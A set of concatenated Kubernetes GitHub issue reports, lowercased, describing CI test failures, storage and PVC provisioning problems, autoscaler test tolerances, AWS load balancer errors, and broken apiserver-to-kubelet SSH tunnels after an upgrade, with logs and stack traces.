pvc-c9e516f1-f18f-11e8-9a1b-42010a800002\   uniquename: \ kubernetes.io/csi/csi-hostpath-e2e-tests-csi-volumes-92vsl^cbfcc214-f18f-11e8-9505-42010a800005\   pod \ pod-subpath-test-csi-hostpath-dynamicpv-mgnk\   uid: \ cc5409be-f18f-11e8-9a1b-42010a800002\  \r > i1126 15:28:32.465509    1446 volume_manager.go:383  all volumes are attached and mounted for pod \ pod-subpath-test-csi-hostpath-dynamicpv-mgnk_e2e-tests-csi-volumes-92vsl cc5409be-f18f-11e8-9a1b-42010a800002 \ \r > i1126 15:28:34.082064    1446 server.go:459  event v1.objectreference{kind:\ pod\ , namespace:\ e2e-tests-csi-volumes-92vsl\ , name:\ pod-subpath-test-csi-hostpath-dynamicpv-mgnk\ , uid:\ cc5409be-f18f-11e8-9a1b-42010a800002\ , apiversion:\ v1\ , resourceversion:\ 47363\ , fieldpath:\ spec.containers{test-container-subpath-csi-hostpath-dynamicpv-mgnk}\ } : type: 'warning' reason: 'failed' error: failed to prepare subpath for volumemount \ test-volume\  of container \ test-container-subpath-csi-hostpath-dynamicpv-mgnk\ \r >    \r > \r > so  71428 should address the issue.  i was initially confused because the test logs didn't show the subpath event for some reason\r \r \r @kubernetes/sig-storage-bugs \r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r gci-gce-scalability - this is 100 nodes test for gce. this test is flaking.\r   which test s  are failing  :\r density test\r \r   since when has it been failing  :\r first fail can be seen in run 23438\r \r   testgrid link  :\r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/23438\r \r   reason for failure  :\r 99th percentile of get configmaps call latency is greater than 1s.\r \r   anything else we need to know  :\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  ci-kubernetes-bazel-test \r \r   which test s  are failing  :\r  //cmd/kubeadm/app/util:go_default_test    spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-bazel-test/1122855768916234241  \r \r   since when has it been failing  :\r failing 4/27.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking bazel-test-master\r \r   reason for failure  :\r    \r exec ${pager:-/usr/bin/less} \ $0\  || exit 1\r executing tests from //cmd/kubeadm/app/util:go_default_test\r -----------------------------------------------------------------------------\r --- fail: testchroot  0.10s \r     chroot_test.go:62: subprocess output:\r         === run   testchroot\r         --- fail: testchroot  0.00s \r             chroot_test.go:48: expected file \ /go_default_test\  to exist, but got stat /go_default_test: no such file or directory\r         fail\r     chroot_test.go:64: subprocess error: exit status 1\r  endpoint  warning: port specified in controlplaneendpoint overrides bindport in the controlplane address\r  endpoint  warning: port specified in controlplaneendpoint overrides bindport in the controlplane address\r  endpoint  warning: port specified in controlplaneendpoint overrides bindport in the controlplane address\r fail\r    \r \r  / /milestone v1.15\r  /cc @jimangel @smourapina @rarchk @alenkacz

after modified the tolerance levels in the hpa tests, and found that the tests themselves don't actually quantify expectations based on tolerance. - it seems that unit tests expectations should be multiplied by the tolerance calibration, rather than assuming it is .1. - related, right now, in the uts... i think the bounds might be tightened up  possibly by increasing total pod   in mocks, the precision will be higher  i.e.  if you modify tolerance from .1->.4, the tests still pass.  in order to implement  18155 , we need to make sure that unit tests are actually aware of tolerance, otherwise it the behaviour of the tolerance feature may silently drift on accident.

fyi. i am using a custom network plugin to configure the kubernetes network, since kubernetes will create pod infra container at first, and then call the network plugin  setuppod  method, so in my plugin, i have to do some cleanup before i do real network setup since i don't want to use  veth  and  docker0 , so if kubelet can provide an option to set the net mode, this can be simplified.  ps: my custom network plugin name is not  cni

if i want to know what zone i'm running in currently i need to figure out what node i'm on, and then parse out  failure-domain.beta.kubernetes.io/zone=  label. this makes actions like figuring out the master of my zone more error prone. also if i don't find that label i have to assume i'm in the default zone, which would lead to some bad failure modes if the reason i didn't find it was because the format changed.   there's probably an issue somewhere for passing node through the downward api, but if there isn't, that would also be useful.

when we do a upgrade/restore with no matching subnets, we get the following error:      i0614 14:42:34.452211       6 aws_loadbalancer.go:81  detaching load balancer from removed subnets e0614 14:42:34.459697       6 servicecontroller.go:196  failed to process service delta. retrying in 1m20s: failed to create load balancer for service default/guestbook: error detaching aws loadbalancer from subnets: invalidconfigurationrequest: requested configuration change for loadbalancer \ a5047cedf323c11e6b74902fb69f76aa\  is invalid because you attempted to detach all the subnets for this loadbalancer and a loadbalancer cannot be attached to zero subnets in vpc.         status code: 409, request id: 3b3ca506-323e-11e6-93ba-3322bb22fd8e

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-slow/999/  failed:  k8s.io  pods should cap back-off at maxcontainerbackoff  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:659 getting pod back-off-cap expected error:     < errors.statuserror | 0xc420e15a80>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ the server cannot complete the requested operation at this time, try again later  get pods back-off-cap \ ,             reason: \ servertimeout\ ,             details: {                 name: \ back-off-cap\ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ {\\\ errstatus\\\ :{\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ the  operation against  could not be completed at this time, please try again.\\\ ,\\\ reason\\\ :\\\ servertimeout\\\ ,\\\ details\\\ :{},\\\ code\\\ :500}}\ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 504,         },     }     the server cannot complete the requested operation at this time, try again later  get pods back-off-cap  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:104      previous issues for this test:  27703  32981

scenario:  i want to stamp out many instances of a microservice.  each microservice instance is a collection of objects  service s , deployment s , pod s  etc .  also, each instance needs some object storage.\r \r object storage is storage that you access via code rather than the filesystem.  examples are: aws s3, gcs, minio, rados+radosgw, etc.\r \r what if kubernetes had a kind that represented  an allocation of object storage:\r - when you create the object it allocates object storage.   you can ask for an amount if you want.\r - when you delete the object it frees the object storage  according to some policy .\r - when you want to consume it from a pod, you can.  except instead of mounting a volume, i just need to get the bucket name and credentials for accessing that bucket somewhere my program can find it.\r \r @saad-ali pointed out that this could pretty much be done already using a pvcs and pvs and a custom provisioner.  instead of mounting the object storage as a file system, the mounter could just mount the auto-selected bucket-name and api credentials in an appropriate place.  this could be a flex volume, or maybe we could create volume types for each of the various object storage systems.\r \r

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:34:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : container os\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i have the following storageclass:\r    \r jonathan@ubuntu ~/p/k8wp> kubectl describe storageclass fast\r name:\t\tfast\r isdefaultclass:\tyes\r annotations:\tkubectl.kubernetes.io/last-applied-configuration={\ kind\ :\ storageclass\ ,\ apiversion\ :\ storage.k8s.io/v1beta1\ ,\ metadata\ :{\ name\ :\ fast\ ,\ creationtimestamp\ :null,\ annotations\ :{\ storageclass.beta.kubernetes.io/is-default-class\ :\ true\ }},\ provisioner\ :\ kubernetes.io/gce-pd\ ,\ parameters\ :{\ type\ :\ pd-ssd\ ,\ zone\ :\ us-central1-a\ }},storageclass.beta.kubernetes.io/is-default-class=true\r provisioner:\tkubernetes.io/gce-pd\r parameters:\ttype=pd-ssd,zone=us-central1-a\r no events.\r    \r with that i create the following statefulset:\r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: percona\r   namespace: default\r spec:\r   servicename: percona\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: percona\r       name: percona\r     spec:\r       terminationgraceperiodseconds: 10\r       containers:\r       - name: percona\r         image: percona/percona-xtradb-cluster\r         volumemounts:\r         - name: percona\r           mountpath: /var/lib/mysql\r           subpath: mysql\r   volumeclaimtemplates:\r   - metadata:\r       name: percona\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 50gi\r    \r \r however the pod doesn't come up and gives the error:\r    \r failedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ percona-percona-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ percona-percona-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ percona-percona-0\ , which is unexpected.\r    \r   what you expected to happen  :\r an ssd persistent disk to be created on gke and mounted to the percona pod. currently the pvc looks like this, stuck in pending:\r    \r jonathan@ubuntu ~/p/k8wp> kubectl describe pvc percona-percona-0\r name:\t\tpercona-percona-0\r namespace:\tdefault\r storageclass:\t\r status:\t\tpending\r volume:\t\t\r labels:\t\tapp=percona\r capacity:\t\r access modes:\t\r no events.\r    \r \r   how to reproduce it    as minimally and precisely as possible :\r create the above stated resources.\r \r   anything else we need to know  :\r \r

what happened  :\r \r ssh tunnel to kubelet nodes doesn't work anymore. here are the apiserver logs:\r \r    \r jul 03 08:57:04 master kube-apiserver 2288 : i0703 08:57:04.044968    2288 wrap.go:42  get /api/v1/namespaces/monitoring/pods/grafana-2599252727-4cp3s/log?container=grafana&follow=true:  4.666795ms  500\r jul 03 08:57:04 master kube-apiserver 2288 : goroutine 58028  running :\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc42222dc00, 0x1f4 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/log.go:219 +0xdd\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc42222dc00, 0x1f4 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/log.go:198 +0x35\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.  legacyauditresponsewriter .writeheader 0xc422dfa6c0, 0x1f4 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/legacy_audit.go:55 +0x55\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.  responsewriterdelegator .writeheader 0xc422dfac90, 0x1f4 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:135 +0x45\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.serializeobject 0x3be77bd, 0x10, 0x7fbb240cdee0, 0xc424d2b680, 0x774ef00, 0xc427df1b20, 0xc42e570600, 0x1f4, 0x772b340, 0xc420430000 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:91 +0x8d\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobjectnegotiated 0x7fbb240d9d70, 0xc422dfaed0, 0x7756cc0, 0xc420687620, 0x0, 0x0, 0x3bcad5f, 0x2, 0x774ef00, 0xc427df1b20, ... \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:116 +0x29e\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.errornegotiated 0x7fbb240d9d70, 0xc422dfaed0, 0x7731a80, 0xc4221d4b40, 0x7756cc0, 0xc420687620, 0x0, 0x0, 0x3bcad5f, 0x2, ... \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:135 +0x165\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.streamobject 0x7fbb240d9d70, 0xc422dfaed0, 0xc8, 0x0, 0x0, 0x3bcad5f, 0x2, 0x7756cc0, 0xc420687620, 0x7fbb23b77ad0, ... \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:57 +0x77f\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobject 0x7fbb240d9d70, 0xc422dfaed0, 0xc8, 0x0, 0x0, 0x3bcad5f, 0x2, 0x7756cc0, 0xc420687620, 0x772c280, ... \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:45 +0x10c\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.transformresponseobject 0x7fbb240d9d70, 0xc422dfaed0, 0x775ca60, 0xc42114e300, 0xc421144a20, 0x7756cc0, 0xc420687620, 0x773bf00, 0xc420422d20, 0x772b700, ... \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/response.go:172 +0x2793\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.getresourcehandler.func1 0x774ef00, 0xc427df1b20, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:145 +0x3cd\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints.restfulgetresourcewithoptions.func1 0xc422dfa720, 0xc423aa0540 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/installer.go:1062 +0xb0\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1 0xc422dfa720, 0xc423aa0540 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:104 +0x1cf\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc42098b050, 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:277 +0xb8d\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc42098b050, 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:199 +0x57\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3be0ba2, 0xe, 0xc42098b050, 0xc4201455e0, 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:153 +0x6e7\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc4209bad80, 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         <autogenerated>:64 +0x86\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc4217db780, 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:91 +0x122\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc426368f80, 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x3dd\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc421be60e0, 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x72\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3be41f8, 0xf, 0xc4235195f0, 0xc421be60e0, 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x301\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc4245d1660, 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         <autogenerated>:64 +0x86\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:50 +0x30c\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.handlerfunc.servehttp 0xc420de25c0, 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/server.go:1942 +0x44\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:47 +0x226a\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.handlerfunc.servehttp 0xc420de2880, 0x774ee00, 0xc427df1b10, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/server.go:1942 +0x44\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withlegacyaudit.func1 0x774ef80, 0xc42222dc00, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/legacy_audit.go:144 +0x92f\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.handlerfunc.servehttp 0xc420fae840, 0x774ef80, 0xc42222dc00, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/server.go:1942 +0x44\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x774ef80, 0xc42222dc00, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:73 +0x2b0\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.handlerfunc.servehttp 0xc422afe0a0, 0x774ef80, 0xc42222dc00, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/server.go:1942 +0x44\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x774ef80, 0xc42222dc00, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xef\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.handlerfunc.servehttp 0xc4245d1680, 0x774ef80, 0xc42222dc00, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/server.go:1942 +0x44\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x774ef80, 0xc42222dc00, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41 +0x11b\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.handlerfunc.servehttp 0xc4245d1760, 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/server.go:1942 +0x44\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp 0xc4245d1800, 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:84 +0x42f\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:78 +0x292\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.handlerfunc.servehttp 0xc420faf400, 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/server.go:1942 +0x44\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withrequestinfo.func1 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:45 +0x200\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.handlerfunc.servehttp 0xc423bd84e0, 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/server.go:1942 +0x44\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xef\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.handlerfunc.servehttp 0xc4245d1980, 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/server.go:1942 +0x44\r jul 03 08:57:04 master kube-apiserver 2288 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  apiserverhandler .servehttp 0xc423bd8510, 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:198 +0x51\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.serverhandler.servehttp 0xc422a33600, 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/server.go:2568 +0x92\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.initnpnrequest.servehttp 0xc423dfe380, 0xc422a33600, 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/server.go:3088 +0x93\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.  initnpnrequest .servehttp 0xc42cc1d940, 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         <autogenerated>:312 +0x74\r jul 03 08:57:04 master kube-apiserver 2288 : net/http. handler .servehttp-fm 0x7755800, 0xc427df1b08, 0xc42e570600 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/h2_bundle.go:4331 +0x4d\r jul 03 08:57:04 master kube-apiserver 2288 : net/http.  http2serverconn .runhandler 0xc42bc9c1c0, 0xc427df1b08, 0xc42e570600, 0xc4242fa6e0 \r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/h2_bundle.go:4611 +0x89\r jul 03 08:57:04 master kube-apiserver 2288 : created by net/http.  http2serverconn .processheaders\r jul 03 08:57:04 master kube-apiserver 2288 :         /usr/local/go/src/net/http/h2_bundle.go:4343 +0x4ac\r jul 03 08:57:04 master kube-apiserver 2288 : logging error output: \ {\\\ kind\\\ :\\\ status\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ get https://node-1:10250/containerlogs/monitoring/grafana-2599252727-4cp3s/grafana?follow=true: no ssh tunnels currently open. were the targets able to accept an ssh-key for user \\\\\\\ kube\\\\\\\ ?\\\ ,\\\ code\\\ :500}\ \ \r    \r \r here is the  authorized_keys  file on kubelet node:\r \r    \r no-pty,no-user-rc,no-x11-forwarding,command=\ /bin/false\  %key-is-here%\r    \r \r here is the manual tunnel command which works fine:\r \r    \r ssh -l 1234:127.0.0.1:10250 -i /etc/kubernetes/certs/id_rsa kube@192.168.140.155 -n\r    \r \r same ssh tunnel with the same configuration works fine on k8s 1.6.x\r \r p.s. i use tls cert auth + ssh tunneling:\r \r    \r /usr/bin/kube-apiserver ... \\\r   --ssh-keyfile=/etc/kubernetes/certs/id_rsa \\\r   --ssh-user=kube \\\r   --kubelet-client-certificate=/etc/kubernetes/certs/kubectl.pem \\\r   --kubelet-client-key=/etc/kubernetes/certs/kubectl-key.pem\r    \r \r this issue was found by our automatic tests.

